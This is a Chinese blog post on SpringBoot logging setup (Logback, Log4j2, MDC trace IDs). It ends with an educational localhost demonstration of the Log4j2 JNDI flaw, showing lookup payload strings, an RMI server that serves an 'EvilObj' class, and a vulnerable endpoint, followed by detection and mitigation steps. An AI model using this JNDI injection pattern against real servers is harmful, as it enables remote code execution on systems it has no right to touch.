从Apache Log4j漏洞 到 SpringBoot 日志

前言

        最近 Apache Log4j漏洞事件闹得沸沸扬扬，小编借此重新了解了一下SpringBoot 的日志框架

日志框架

        市面上有很多框架，整体可以分为两类：日志门面和日志实现

日志分类	描述	举例
日志门面	为 Java 日志访问提供一套标准和规范的 API 框架，其主要意义在于提供接口。	JCL（Jakarta Commons Logging）、SLF4j（Simple Logging Facade for Java）、jboss-logging
日志实现	日志门面的具体的实现	Log4j、JUL（java.util.logging）、Log4j2、Logback

        通常情况下，日志由一个日志门面与一个日志实现组合搭建而成，Spring Boot 默认会选用 SLF4J + Logback 的组合来搭建日志系统。

        SLF4J 作为一款优秀的日志门面或者日志抽象层，它可以与各种日志实现框架组合使用，以达到记录日志的目的，如下图

         本文着重介绍两种 log4j2 与 logback

logback

        由于 SpringBoot 默认使用的就是 logback 日志实现，因此无需引入额外的包,在这引入 web 和 test 两个依赖，实际日志相关的只需要 spring-boot-starter-logging 依赖即可，引入其他主要是为了测试方便，同时也符合大多数的应用场景。

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        添加一个简单的 Controller，分别测试 4 种日志等级

@RestController
public class LogController {

    private final Logger logger = LoggerFactory.getLogger(LogController.class);

    @Autowired
    private LogService logService;

    @GetMapping("/log/info/{msg}")
    public void info(@PathVariable String msg) {
        logger.info("hello :{}", msg);
    }

    @GetMapping("/log/warn/{msg}")
    public void warn(@PathVariable String msg) {
        logger.warn("hello :{}", msg);
    }

    @GetMapping("/log/error/{msg}")
    public void error(@PathVariable String msg) {
        logger.error("hello :{}", msg);
    }

    @GetMapping("/log/debug/{msg}")
    public void debug(@PathVariable String msg) {
        logger.debug("hello :{}", msg);
    }
    
    @GetMapping("/log/test")
    public void test() {
        String username = "${java:os}";
        logger.info("hello :{}", username);
    }
}

         直接启动，日志格式采用默认配置

         当然也可以自定义配置。Spring 在logback 的基础上添加了增强的功能，默认会去读 logback-spring.xml 文件

<?xml version="1.0" encoding="UTF-8"?>
<configuration>

    <property name="projectName" value="api"/>
    <property name="packageName" value="com.bruce.log"/>
    <property name="appHome" value="./logs"/>
    <!--  彩色日志依赖  -->
    <conversionRule conversionWord="clr" converterClass="org.springframework.boot.logging.logback.ColorConverter"/>
    <property name="CONSOLE_LOG_PATTERN"
              value="%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %-10X{traceId} %clr(%6p) %clr(${PID:- }){magenta} %clr([%5.25t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n"/>
    <appender name="LOG_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${appHome}/api.log</file>
        <encoder>
            <Pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} %-10X{traceId} %-5level %logger:%L - %msg %n</Pattern>
            <charset>UTF-8</charset> <!-- 设置字符集 -->
        </encoder>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>${appHome}/canteen-%d{yyyy-MM-dd}.log</fileNamePattern>
            <maxHistory>15</maxHistory><!--日志文档保留天数-->
        </rollingPolicy>
    </appender>
    <!-- 输出到控制台 -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <Pattern>${CONSOLE_LOG_PATTERN}</Pattern>
            <charset>UTF-8</charset> <!-- 设置字符集 -->
        </encoder>
    </appender>

    <!-- 在开发环境下，不输出日志文件，只在控制台输出-->
    <springProfile name="dev">
        <!-- logger 用来指定包或某个具体的类，root 用来指定最基础的日志输出级别 -->
        <logger name="${packageName}" level="debug"/>
        <!-- 容器级日志 DEBUG < INFO < WARN < ERROR -->
        <root level="INFO">
            <appender-ref ref="CONSOLE"/>
        </root>
    </springProfile>


    <!-- 线上环境 在4个文件和控制台 同时输出-->
    <springProfile name="prod">
        <logger name="${packageName}" level="INFO"/>
        <!-- 容器级日志 -->
        <root level="INFO">
            <appender-ref ref="CONSOLE"/>
            <appender-ref ref="LOG_FILE"/>
        </root>
    </springProfile>
</configuration>

        我这边配置的思路

• 通过springProfile 区分线上环境和开发环境
• 开发环境输出到控制台，线上环境可以选择输出到控制台和持久化到本地文件
• 开发环境可以打印 debug 的信息，线上环境就尽量只打印 INFO 以上级别的日志
• 文件日志采用时间轮转策略，避免日志积压
• 至于日志格式，日志颜色，图个乐即可，关键信息打印出来就好，比如时间，日志打印位置（在哪个类的哪一行），日志内容，以及后续会提到的 traceId 可以高效的追踪请求链路。

        更多详细的配置及含义可以参考这篇文章，在此不再赘述

logback-spring.xml 完整配置 - 我叫福禄娃 - 博客园
        另外可能有眼尖的小伙伴注意到有个 /log/test 接口，具体设置在这的目的先按下不表，后续会提到这个问题。

log4j2

        参考 SpringBoot 官方文档，日志切换时先排除原先的依赖，在添加新的日志依赖包

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-test</artifactId>
    <scope>test</scope>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

        application.yml 添加配置文件 路径

logging.config=classpath:log4j.xml

        log4j.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--日志级别以及优先级排序: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALL -->
<!--Configuration后面的status，这个用于设置log4j2自身内部的信息输出，可以不设置，当设置成trace时，你会看到log4j2内部各种详细输出-->
<!--monitorInterval：Log4j能够自动检测修改配置 文件和重新配置本身，设置间隔秒数-->
<configuration status="WARN" monitorInterval="30">
    <!--先定义所有的appender-->
    <appenders>
        <!--这个输出控制台的配置-->
        <console name="CONSOLE" target="SYSTEM_OUT">
            <!--输出日志的格式-->
            <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%X{traceId}] [%p] - %l - %m%n"/>
        </console>
        <!-- 这个会打印出所有的info及以下级别的信息，每次大小超过size，则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩，作为存档-->
        <RollingFile name="FILE" fileName="./logs/api-log4j.log"
                     filePattern="./logs/$${date:yyyy-MM}/api-%d{yyyy-MM-dd}-%i.log">
            <!--控制台只输出level及以上级别的信息（onMatch），其他的直接拒绝（onMismatch）-->
            <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/>
            <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%X{traceId}] [%p] - %l - %m%n"/>
            <Policies>
                <TimeBasedTriggeringPolicy/>
                <SizeBasedTriggeringPolicy size="100 MB"/>
            </Policies>
        </RollingFile>
    </appenders>
    <!--然后定义logger，只有定义了logger并引入的appender，appender才会生效-->
    <loggers>
        <!--过滤掉spring和mybatis的一些无用的DEBUG信息-->
        <logger name="com.bruce.log" level="DEBUG"/>
        <root level="info">
            <appender-ref ref="CONSOLE"/>
            <appender-ref ref="FILE"/>
        </root>
    </loggers>
</configuration>

        因为都是 slf4j 的实现类，所以配置与 logback 基本类似，不再赘述

        详情配置参考 Springboot整合log4j2日志全解 - 云+社区 - 腾讯云

MDC

MDC（Mapped Diagnostic Context，映射调试上下文）是 log4j 、logback及log4j2 提供的一种方便在多线程条件下记录日志的功能。MDC 可以看成是一个与当前线程绑定的哈希表，可以往其中添加键值对。MDC 中包含的内容可以被同一线程中执行的代码所访问。

        目前MDC 最大的应用场景，就是可以统一日志风格，可以添加 traceId 用以追踪请求

        具体使用方式，添加拦截器

public class LogInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        //如果有上层调用就用上层的ID
        String traceId = request.getHeader("traceId");
        if (traceId == null) {
            traceId = UUID.randomUUID().toString().replaceAll("-", "").toUpperCase();
        }
        MDC.put("traceId", traceId);
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        MDC.remove("traceId");
    }
}

        添加一个接口

@GetMapping("/log/mdc")
public void mdc() {
    logger.info("first step");
    second();
    logService.third();
}

        分别在入口，Controller 层其他方法，以及 service 层方法打上日志

        启动后，请求 localhost:8080/log/mdc

        可以看到 traceId 传递过来了

Apache Log4j2 安全漏洞

        最后，再来谈谈前段时间闹得沸沸扬扬的 log4j 安全漏洞问题。

        一开始也不是很清楚这个漏洞到底是个什么，一个记录日志的框架，能掀起多大风浪。在查阅了很多资料，听了许多大佬的讲解后，才明白了个大概，在这边做个简单的分享。

        目光回到之前的 /log/test 接口

@GetMapping("/log/test")
public void test() {
    String username = "${java:os}";
    logger.info("hello :{}", username);
}

        逻辑很简单，定义一个 username，比如说是个登录接口，需要把用户名传进来。然后我们大约会来入口把这个 username 打印出来，为了方便排查问题。这时，如果输入了 ${java:os} 这个字符串，会出现什么呢。

         图中可以看到，将操作系统的信息打印出来了。当然还有很多别使用方式，可以参考官方文档Log4j2 中文文档 - Lookups | Docs4dev

        其实这个倒还好，顶多在服务端把这些信息给打印出来。但是他还会支持 JNDI。

JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现。

        举个例子

        我本地启动一个 RMI 服务

private static void startRMIServer() {
    try {
        Registry registry = LocateRegistry.createRegistry(1099);
        logger.info("start server at port 1099");
        Reference reference = new Reference("com.bruce.log.entity.EvilObj", "com.bruce.log.entity.EvilObj", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

        EvilObj .java

public class EvilObj implements ObjectFactory {

    static {
        System.out.println("I'm evil");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

@GetMapping("/log/evil")
public void evil() {
    // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    String username = "${jndi:rmi://127.0.0.1:1099/evil}";
    logger.info("hello :{}", username);
}

        请求 localhost:8080/log/evil

        会发现，服务端可以运行这个静态代码块。

         也就是说，黑客们可以在我们的服务端运行本地的代码。

        轻则输入 “你好，你正在被我攻击，请打xxx钱到账户xxx”；

        重则删除服务端文件，入侵数据库等等等等。

        难怪会定义为 核弹级 漏洞

        那么，自己到底有没有中招呢。

        小编这边给出一些测试结果。

1 pom 依赖中，查找 log4j （推荐插件 maven helper）

         如果没有 log4j-api,log4j-core 这两个包，或者说这两个包的版本不在 2.x -2.14.* 之间，那么恭喜，大概率没有问题。(这也是我这边着重介绍 log4j2 的原因，因为 log4j 引入的依赖为 log4j 1.x 版本的，没有这个问题)

2 没有集成过 log4j2

        因为 springboot 默认用的是 slf4j+logback 的组合，所以没有特殊情况，不会去集成 log4j2，当然，你不集成不代表第三方的包没有集成，所以最好还是排查一下有没有引入 log4j 的依赖。

        可以看到 logback 没有这个问题

3 服务端 java 版本 1.8 及以上

RMI有一个重要的特性是动态类加载机制，当本地CLASSPATH中无法找到相应的类时，会在指定的codebase里加载class。codebase可以在系统属性java.rmi.server.codebase设置其URL。

        要支持远程运行的一个前提，服务端需要 com.sun.jndi.rmi.object.trustURLCodebase=true，JDK8u113以及JDK6u132, JDK7u122之后增加了对远程codebase的限制

 4 本地单元测试

    public void test() {
        String username = "${java:os}";
        logger.info("hello :{}", username);
    }

        本地写个单元测试，运行，看看会不会解析

当然上述方式只能大致排除一下，要是不放心，还是需要上官方的解决方案

1 升级log4j2 的版本到 log4j-2.15.0-rc2

2 设置启动参数 log4j2.formatMsgNoLookups=True

3 修改 jvm 变量 -Dlog4j2.formatMsgNoLookups=true

4 设置环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

5 升级JDK至11.0.1、8u191、7u201、6u211及以上的高版本。

总结

        一个漏洞，牵扯出来的问题其实还很多。出现问题，，bug，漏洞不可怕，我们要学会了解它，了解它背后的原理，不断丰富自己。

        最后借用同事的一句话，送给自己，也送给刚好看到这篇文章的各位。

        一切问题都不是问题

附上文章源码的 git 地址 https://github.com/kid626/log.git